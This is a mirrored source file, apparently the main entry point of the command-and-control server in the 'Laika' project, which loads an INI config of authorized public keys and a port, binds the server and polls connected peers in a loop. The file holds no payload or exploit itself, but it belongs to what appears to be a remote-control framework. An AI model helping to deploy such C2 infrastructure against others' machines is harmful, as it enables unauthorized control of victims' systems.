1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 13:00:05 +00:00
Laika/cnc/src/main.c

72 lines
2.0 KiB
C
Raw Normal View History

#include <stdio.h>
#include "ltask.h"
2022-04-06 06:07:16 +00:00
#include "lconfig.h"
#include "cnc.h"
#include "ini.h"
2022-04-06 06:07:16 +00:00
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x)
struct sLaika_taskService tService;
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
struct sLaika_cnc* cnc = (struct sLaika_cnc*)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
if (MATCH("auth", "public-key-entry")) {
laikaC_addAuthKey(cnc, value);
} else if (MATCH("server", "port")) {
cnc->port = atoi(value);
} else {
return 0; /* unknown section/name, error */
}
return 1;
}
bool loadConfig(struct sLaika_cnc *cnc, char *config) {
int iniRes;
printf("Loading config file '%s'...\n", config);
if ((iniRes = ini_parse(config, iniHandler, (void*)cnc)) < 0) {
switch (iniRes) {
case -1: printf("Couldn't load config file '%s'!\n", config); break;
case -2: printf("Memory allocation error :/\n"); break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
}
return false;
}
return true;
}
int main(int argv, char *argc[]) {
2022-04-06 06:07:16 +00:00
struct sLaika_cnc *cnc;
char *configFile = "server.ini";
2022-04-06 06:07:16 +00:00
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
/* load config file */
if (argv >= 2)
configFile = argc[1];
if (!loadConfig(cnc, configFile))
return 1;
laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc);
/* start cnc */
laikaC_bindServer(cnc);
while (true) {
laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService));
laikaT_pollTasks(&tService);
}
2022-02-17 23:38:34 +00:00
laikaT_cleanTaskService(&tService);
laikaC_freeCNC(cnc);
LAIKA_DEBUG("cnc killed\n");
return 0;
}